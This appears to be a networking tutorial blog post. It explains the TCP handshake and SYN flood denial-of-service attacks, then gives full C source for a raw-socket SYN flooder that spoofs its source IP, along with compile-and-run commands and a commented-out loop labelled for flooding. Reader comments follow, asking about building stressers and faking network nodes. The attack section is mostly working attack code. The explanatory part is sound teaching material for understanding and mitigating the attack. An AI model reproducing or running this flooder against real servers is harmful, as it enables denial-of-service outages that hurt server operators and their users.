TCP/IP 3-way handshake is done to establish a connection between a client and a server. The process is :
1. Client --SYN Packet--> Server
2. Server --SYN/ACK Packet --> Client
3. Client --ACK Packet --> Server
The above 3 steps are followed to establish a connection between source and destination.
SYN Flood DOS attacks involves sending too many SYN packets (with a bad or random source ip) to the destination server.
These SYN requests get queued up on the server's buffer and use up the resources and memory of the server. This can lead to a crash or hang of the server machine.
After sending the SYN packet it is a half-open connection and it takes up resources on the server machine. So if an attacker sends syn packets faster than memory is being freed up on the server then it would be an overflow situation.
Since the server's resources are used the response to legitimate users is slowed down resulting in Denial of Service.
Most webservers now a days use firewalls which can handle such syn flood attacks and moreover even web servers are now more immune.
For more information on TCP Syn DOS attack read up rfc 4987 , titled "TCP SYN Flooding Attacks and Common Mitigations" over here
Below is an example code in C:
Code
/* Syn Flood DOS with LINUX sockets */ #include<stdio.h> #include<string.h> //memset #include<sys/socket.h> #include<stdlib.h> //for exit(0); #include<errno.h> //For errno - the error number #include<netinet/tcp.h> //Provides declarations for tcp header #include<netinet/ip.h> //Provides declarations for ip header struct pseudo_header //needed for checksum calculation { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }; unsigned short csum(unsigned short *ptr,int nbytes) { register long sum; unsigned short oddbyte; register short answer; sum=0; while(nbytes>1) { sum+=*ptr++; nbytes-=2; } if(nbytes==1) { oddbyte=0; *((u_char*)&oddbyte)=*(u_char*)ptr; sum+=oddbyte; } sum = (sum>>16)+(sum & 0xffff); sum = sum + (sum>>16); answer=(short)~sum; return(answer); } int main (void) { //Create a raw socket int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); //Datagram to represent the packet char datagram[4096] , source_ip[32]; //IP header struct iphdr *iph = (struct iphdr *) datagram; //TCP header struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); struct sockaddr_in sin; struct pseudo_header psh; strcpy(source_ip , "192.168.1.2"); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr ("1.2.3.4"); memset (datagram, 0, 4096); /* zero out the buffer */ //Fill in the IP Header iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr); iph->id = htons(54321); //Id of this packet iph->frag_off = 0; iph->ttl = 255; iph->protocol = IPPROTO_TCP; iph->check = 0; //Set to 0 before calculating checksum iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); //TCP Header tcph->source = htons (1234); tcph->dest = htons (80); tcph->seq = 0; tcph->ack_seq = 0; tcph->doff = 5; /* first and only tcp segment */ tcph->fin=0; tcph->syn=1; tcph->rst=0; tcph->psh=0; tcph->ack=0; tcph->urg=0; tcph->window = htons (5840); /* maximum allowed window size */ tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack should fill in the correct checksum during transmission */ tcph->urg_ptr = 0; //Now the IP checksum psh.source_address = inet_addr( source_ip ); psh.dest_address = sin.sin_addr.s_addr; psh.placeholder = 0; psh.protocol = IPPROTO_TCP; psh.tcp_length = htons(20); memcpy(&psh.tcp , tcph , sizeof (struct tcphdr)); tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header)); //IP_HDRINCL to tell the kernel that headers are included in the packet int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) { printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno)); exit(0); } //Uncommend the loop if you want to flood :) //while (1) //{ //Send the packet if (sendto (s, /* our socket */ datagram, /* the buffer containing headers and data */ iph->tot_len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0) /* a normal send() */ { printf ("error\n"); } //Data send successfully else { printf ("Packet Send \n"); } //} return 0; }
Compile and Run
On Ubuntu
$ gcc synflood.c $ sudo ./a.out Packet Send
Use wireshark to check the packets and replies from server.
The sendto function if put in a loop will start flooding the destination ip with syn packets.
How could I intercept a incoming attack and decipher it to code my own version of it? I am wanting to setup a honeypot to use stressers to hit to be able to provide my clients a cost effective way to test their servers.
Hello i have a question, in what line it set the tcp header to the send packet?
i dont see a reference between tcph and the packet sended
I need a C ++ code that works the same way as the tracer logic. Could you help ?
hey
it’s emergence ,
i have to pass the packet to nearest node but it behave like a fake node
how to do it
i have already pass 10 node to the packet
but one node should behave like a fake node